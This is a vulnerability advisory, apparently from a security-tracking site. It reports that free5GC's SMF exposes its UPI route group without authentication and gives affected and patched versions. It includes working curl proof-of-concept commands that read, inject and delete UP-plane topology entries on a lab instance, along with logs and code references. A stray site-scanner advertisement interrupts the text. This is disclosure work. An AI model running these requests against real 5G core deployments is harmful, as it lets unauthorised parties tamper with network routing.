| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/free5gc/smf | < 1.4.3 | 1.4.3 |
| free5gc | < 4.2.2 | 4.2.2 |
free5GC's SMF mounts the UPI management route group without OAuth2/bearer-token authorization middleware. A network attacker who can reach SMF on the SBI can hit UPI endpoints with no Authorization header at all, and the requests reach the SMF business handlers. In the running Docker lab this was directly demonstrated for read (GET /upi/v1/upNodesLinks), write (POST /upi/v1/upNodesLinks with attacker-controlled UP-node and link payload), and delete (DELETE /upi/v1/upNodesLinks/{nodeID}) operations.
The defect is route-group-scoped: there is no inbound auth middleware on the UPI group at all, while a control comparison against the sibling nsmf-oam group on the same SMF instance shows OAM IS protected (no-token request returns 401 Unauthorized). So this is not a global config gap -- it is specifically that the UPI group was mounted without the auth middleware that the OAM group has.
Validated against the SMF container in the official Docker compose lab.
v4.2.1free5gc/smf:v4.2.0Control comparison on the same SMF instance:
GET /upi/v1/upNodesLinks (no token) -> 200 OKGET /nsmf-oam/v1/ (no token) -> 401 UnauthorizedThis side-by-side proves OAuth2 middleware is wired in for nsmf-oam but not for UPI on the same process.
Code evidence (paths in free5gc/smf):
NFs/smf/internal/sbi/server.go:76NFs/smf/internal/sbi/server.go:95upNodesLinks):
NFs/smf/internal/sbi/api_upi.go:44NFs/smf/internal/sbi/api_upi.go:60NFs/smf/internal/sbi/api_upi.go:84Reproduced end-to-end against the running SMF at http://10.100.200.6:8000.
Authorization header -> 200 OK:curl -i http://10.100.200.6:8000/upi/v1/upNodesLinks
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeAuthorization header -> 200 OK:curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \
-H 'Content-Type: application/json' \
--data '{"links":[{"A":"gNB1","B":"UPF-POC-20260313","weight":1}],"upNodes":{"UPF-POC-20260313":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet"}]}]}}}'
404 Not Found from business logic (auth was bypassed; the 404 is a business response, not an auth rejection):curl -i -X DELETE http://10.100.200.6:8000/upi/v1/upNodesLinks/UPF-POC-20260313 \
-H 'Authorization: Bearer not-a-real-token'
401 Unauthorized:curl -i http://10.100.200.6:8000/nsmf-oam/v1/
SMF container logs (docker logs smf) confirm the side-by-side behavior:
[INFO][SMF][GIN] | 200 | GET | /upi/v1/upNodesLinks
[INFO][SMF][GIN] | 401 | GET | /nsmf-oam/v1/
[INFO][SMF][GIN] | 404 | DELETE | /upi/v1/upNodesLinks/UPF-POC-20260313
[INFO][SMF][GIN] | 200 | POST | /upi/v1/upNodesLinks
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the SMF UPI SBI route group. Severity is scored against the route group's intended capability surface (UP-node and link topology management), which is realized by the demonstrated PoC: an unauthenticated network attacker can already today read SMF's view of the UP-plane topology, inject attacker-controlled UPF nodes and link entries, and target deletions of named entries.
Any party that can reach SMF on the SBI can:
The defect is route-group-scoped: there is no auth middleware on the UPI group at all, so every UPI endpoint inside this group inherits the missing inbound auth boundary, and the same-instance OAM control proves this is the UPI mount specifically (not a global SMF config issue).
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/887 Upstream fix: https://github.com/free5gc/smf/pull/197